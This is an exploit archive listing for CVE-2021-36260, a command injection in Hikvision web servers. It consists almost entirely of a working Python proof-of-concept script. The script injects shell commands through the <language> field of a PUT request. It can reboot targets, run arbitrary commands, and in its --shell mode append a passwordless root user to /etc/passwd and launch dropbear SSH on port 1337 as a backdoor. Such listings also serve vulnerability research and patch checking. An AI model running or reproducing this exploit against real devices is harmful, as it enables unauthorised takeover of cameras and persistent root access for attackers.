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Hikvision Web Server Build 210702 Command Injection

Hikvision Web Server Build 210702 Command Injection
Posted Oct 25, 2021
Authored by bashis

Hikvision Web Server Build 210702 suffers from a command injection vulnerability.

tags | exploit, web
advisories | CVE-2021-36260
MD5 | f61fa809f59a5d34a34ed01d7d37b3d3

Hikvision Web Server Build 210702 Command Injection

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# Exploit Title: Hikvision Web Server Build 210702 - Command Injection
# Exploit Author: bashis
# Vendor Homepage: https://www.hikvision.com/
# Version: 1.0
# CVE: CVE-2021-36260
# Reference: https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html

# All credit to Watchful_IP

#!/usr/bin/env python3

"""
Note:
1) This code will _not_ verify if remote is Hikvision device or not.
2) Most of my interest in this code has been concentrated on how to
reliably detect vulnerable and/or exploitable devices.
Some devices are easy to detect, verify and exploit the vulnerability,
other devices may be vulnerable but not so easy to verify and exploit.
I think the combined verification code should have very high accuracy.
3) 'safe check' (--check) will try write and read for verification
'unsafe check' (--reboot) will try reboot the device for verification

[Examples]
Safe vulnerability/verify check:
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check

Safe and unsafe vulnerability/verify check:
(will only use 'unsafe check' if not verified with 'safe check')
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot

Unsafe vulnerability/verify check:
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --reboot

Launch and connect to SSH shell:
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --shell

Execute command:
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd "ls -l"

Execute blind command:
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd_blind "reboot"

$./CVE-2021-36260.py -h
[*] Hikvision CVE-2021-36260
[*] PoC by bashis <mcw noemail eu> (2021)
usage: CVE-2021-36260.py [-h] --rhost RHOST [--rport RPORT] [--check]
[--reboot] [--shell] [--cmd CMD]
[--cmd_blind CMD_BLIND] [--noverify]
[--proto {http,https}]

optional arguments:
-h, --help show this help message and exit
--rhost RHOST Remote Target Address (IP/FQDN)
--rport RPORT Remote Target Port
--check Check if vulnerable
--reboot Reboot if vulnerable
--shell Launch SSH shell
--cmd CMD execute cmd (i.e: "ls -l")
--cmd_blind CMD_BLIND
execute blind cmd (i.e: "reboot")
--noverify Do not verify if vulnerable
--proto {http,https} Protocol used
$
"""

import os
import argparse
import time

import requests
from requests import packages
from requests.packages import urllib3
from requests.packages.urllib3 import exceptions


class Http(object):
def __init__(self, rhost, rport, proto, timeout=60):
super(Http, self).__init__()

self.rhost = rhost
self.rport = rport
self.proto = proto
self.timeout = timeout

self.remote = None
self.uri = None

""" Most devices will use self-signed certificates, suppress any warnings """
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

self.remote = requests.Session()

self._init_uri()

self.remote.headers.update({
'Host': f'{self.rhost}:{self.rport}',
'Accept': '*/*',
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
})
"""
self.remote.proxies.update({
# 'http': 'http://127.0.0.1:8080',
})
"""

def send(self, url=None, query_args=None, timeout=5):

if query_args:
"""Some devices can handle more, others less, 22 bytes seems like a good compromise"""
if len(query_args) > 22:
print(f'[!] Error: Command "{query_args}" to long ({len(query_args)})')
return None

"""This weird code will try automatically switch between http/https
and update Host
"""
try:
if url and not query_args:
return self.get(url, timeout)
else:
data = self.put('/SDK/webLanguage', query_args, timeout)
except requests.exceptions.ConnectionError:
self.proto = 'https' if self.proto == 'http' else 'https'
self._init_uri()
try:
if url and not query_args:
return self.get(url, timeout)
else:
data = self.put('/SDK/webLanguage', query_args, timeout)
except requests.exceptions.ConnectionError:
return None
except requests.exceptions.RequestException:
return None
except KeyboardInterrupt:
return None

"""302 when requesting http on https enabled device"""

if data.status_code == 302:
redirect = data.headers.get('Location')
self.uri = redirect[:redirect.rfind('/')]
self._update_host()
if url and not query_args:
return self.get(url, timeout)
else:
data = self.put('/SDK/webLanguage', query_args, timeout)

return data

def _update_host(self):
if not self.remote.headers.get('Host') == self.uri[self.uri.rfind('://') + 3:]:
self.remote.headers.update({
'Host': self.uri[self.uri.rfind('://') + 3:],
})

def _init_uri(self):
self.uri = '{proto}://{rhost}:{rport}'.format(proto=self.proto, rhost=self.rhost, rport=str(self.rport))

def put(self, url, query_args, timeout):
"""Command injection in the <language> tag"""
query_args = '<?xml version="1.0" encoding="UTF-8"?>' \
f'<language>$({query_args})</language>'
return self.remote.put(self.uri + url, data=query_args, verify=False, allow_redirects=False, timeout=timeout)

def get(self, url, timeout):
return self.remote.get(self.uri + url, verify=False, allow_redirects=False, timeout=timeout)


def check(remote, args):
"""
status_code == 200 (OK);
Verified vulnerable and exploitable
status_code == 500 (Internal Server Error);
Device may be vulnerable, but most likely not
The SDK webLanguage tag is there, but generate status_code 500 when language not found
I.e. Exist: <language>en</language> (200), not exist: <language>EN</language> (500)
(Issue: Could also be other directory than 'webLib', r/o FS etc...)
status_code == 401 (Unauthorized);
Defiantly not vulnerable
"""
if args.noverify:
print(f'[*] Not verifying remote "{args.rhost}:{args.rport}"')
return True

print(f'[*] Checking remote "{args.rhost}:{args.rport}"')

data = remote.send(url='/', query_args=None)
if data is None:
print(f'[-] Cannot establish connection to "{args.rhost}:{args.rport}"')
return None
print('[i] ETag:', data.headers.get('ETag'))

data = remote.send(query_args='>webLib/c')
if data is None or data.status_code == 404:
print(f'[-] "{args.rhost}:{args.rport}" do not looks like Hikvision')
return False
status_code = data.status_code

data = remote.send(url='/c', query_args=None)
if not data.status_code == 200:
"""We could not verify command injection"""
if status_code == 500:
print(f'[-] Could not verify if vulnerable (Code: {status_code})')
if args.reboot:
return check_reboot(remote, args)
else:
print(f'[+] Remote is not vulnerable (Code: {status_code})')
return False

print('[!] Remote is verified exploitable')
return True


def check_reboot(remote, args):
"""
We sending 'reboot', wait 2 sec, then checking with GET request.
- if there is data returned, we can assume remote is not vulnerable.
- If there is no connection or data returned, we can assume remote is vulnerable.
"""
if args.check:
print('[i] Checking if vulnerable with "reboot"')
else:
print(f'[*] Checking remote "{args.rhost}:{args.rport}" with "reboot"')
remote.send(query_args='reboot')
time.sleep(2)
if not remote.send(url='/', query_args=None):
print('[!] Remote is vulnerable')
return True
else:
print('[+] Remote is not vulnerable')
return False


def cmd(remote, args):
if not check(remote, args):
return False
data = remote.send(query_args=f'{args.cmd}>webLib/x')
if data is None:
return False

data = remote.send(url='/x', query_args=None)
if data is None or not data.status_code == 200:
print(f'[!] Error execute cmd "{args.cmd}"')
return False
print(data.text)
return True


def cmd_blind(remote, args):
"""
Blind command injection
"""
if not check(remote, args):
return False
data = remote.send(query_args=f'{args.cmd_blind}')
if data is None or not data.status_code == 500:
print(f'[-] Error execute cmd "{args.cmd_blind}"')
return False
print(f'[i] Try execute blind cmd "{args.cmd_blind}"')
return True


def shell(remote, args):
if not check(remote, args):
return False
data = remote.send(url='/N', query_args=None)

if data.status_code == 404:
print(f'[i] Remote "{args.rhost}" not pwned, pwning now!')
data = remote.send(query_args='echo -n P::0:0:W>N')
if data.status_code == 401:
print(data.headers)
print(data.text)
return False
remote.send(query_args='echo :/:/bin/sh>>N')
remote.send(query_args='cat N>>/etc/passwd')
remote.send(query_args='dropbear -R -B -p 1337')
remote.send(query_args='cat N>webLib/N')
else:
print(f'[i] Remote "{args.rhost}" already pwned')

print(f'[*] Trying SSH to {args.rhost} on port 1337')
os.system(f'stty echo; stty iexten; stty icanon; \
ssh -o StrictHostKeyChecking=no -o LogLevel=error -o UserKnownHostsFile=/dev/null \
P@{args.rhost} -p 1337')


def main():
print('[*] Hikvision CVE-2021-36260\n[*] PoC by bashis <mcw noemail eu> (2021)')

parser = argparse.ArgumentParser()
parser.add_argument('--rhost', required=True, type=str, default=None, help='Remote Target Address (IP/FQDN)')
parser.add_argument('--rport', required=False, type=int, default=80, help='Remote Target Port')
parser.add_argument('--check', required=False, default=False, action='store_true', help='Check if vulnerable')
parser.add_argument('--reboot', required=False, default=False, action='store_true', help='Reboot if vulnerable')
parser.add_argument('--shell', required=False, default=False, action='store_true', help='Launch SSH shell')
parser.add_argument('--cmd', required=False, type=str, default=None, help='execute cmd (i.e: "ls -l")')
parser.add_argument('--cmd_blind', required=False, type=str, default=None, help='execute blind cmd (i.e: "reboot")')
parser.add_argument(
'--noverify', required=False, default=False, action='store_true', help='Do not verify if vulnerable'
)
parser.add_argument(
'--proto', required=False, type=str, choices=['http', 'https'], default='http', help='Protocol used'
)
args = parser.parse_args()

remote = Http(args.rhost, args.rport, args.proto)

try:
if args.shell:
shell(remote, args)
elif args.cmd:
cmd(remote, args)
elif args.cmd_blind:
cmd_blind(remote, args)
elif args.check:
check(remote, args)
elif args.reboot:
check_reboot(remote, args)
else:
parser.parse_args(['-h'])
except KeyboardInterrupt:
return False


if __name__ == '__main__':
main()

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